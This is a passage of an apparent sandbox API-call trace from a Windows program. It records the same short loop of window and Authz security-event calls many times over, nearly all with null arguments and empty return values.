returned 0 [0025.582] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.582] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.582] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.582] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.582] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.582] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.582] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.582] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.582] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.582] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.582] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.582] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.582] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.582] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.582] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.582] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.582] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.582] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.582] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.583] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.583] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.583] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.583] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.583] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.583] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.583] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.583] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.583] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.583] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.583] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.583] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.583] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.583] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.583] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.583] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.583] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.583] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.583] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.583] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.583] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.583] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.583] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.583] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.583] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.583] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.583] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.583] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.583] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.583] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.583] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.583] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.583] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.583] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.583] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.583] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.583] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.583] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.583] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.583] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.583] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.584] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.584] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.584] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.584] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.584] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.584] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.584] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.584] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.584] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.584] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.584] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.584] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.584] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.584] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.584] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.584] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.584] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.584] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.584] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.584] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.584] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.584] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.584] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.584] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.584] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.584] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.584] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.584] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.584] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.584] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.584] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.584] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.584] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.584] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.584] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.584] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.584] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.584] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.584] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.584] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.584] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.584] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.585] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.585] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.585] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.585] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.585] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.585] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.585] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.585] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.585] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.585] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.585] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.585] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.585] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.585] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.585] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.585] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.585] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.585] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.585] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.585] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.585] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.585] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.585] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.585] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.585] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.585] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.585] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.585] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.585] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.585] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.585] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.585] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.585] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.585] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.585] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.585] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.585] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.585] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.585] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.586] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.586] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.586] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.586] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.586] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.586] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.586] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.586] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.586] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.586] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.586] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.586] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.586] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.586] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.586] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.586] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.586] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.586] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.586] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.586] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.586] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.586] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.586] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.586] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.586] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.586] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.586] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.586] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.586] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.586] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.586] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.586] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.586] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.586] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.586] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.586] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.586] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.586] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.586] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.586] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.586] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.586] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.587] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.587] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.587] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.587] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.587] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.587] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.587] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.587] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.587] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.587] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.587] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.587] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.587] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.587] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.587] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.587] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.587] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.587] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.587] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.587] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.587] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.587] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.587] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.587] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.587] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.587] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.587] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.587] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.587] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.587] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.587] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.587] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.587] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.587] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.587] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.587] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.587] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.587] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.587] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.587] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.587] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.588] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.588] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.588] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.588] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.588] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.588] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.588] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.588] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.588] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.588] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.588] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.588] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.588] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.588] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.588] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.588] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.588] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.588] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.588] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.588] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.588] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.588] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.588] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.588] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.588] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.588] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.588] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.588] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.588] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.588] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.588] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.588] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.588] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.588] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.588] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.588] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.588] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.588] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.588] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.588] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.588] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.588] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.589] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.589] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.589] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.589] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.589] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.589] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.589] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.589] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.589] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.589] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.589] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.589] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.589] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.589] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.589] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.589] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.589] GetDlgItem (hDlg=0x0, 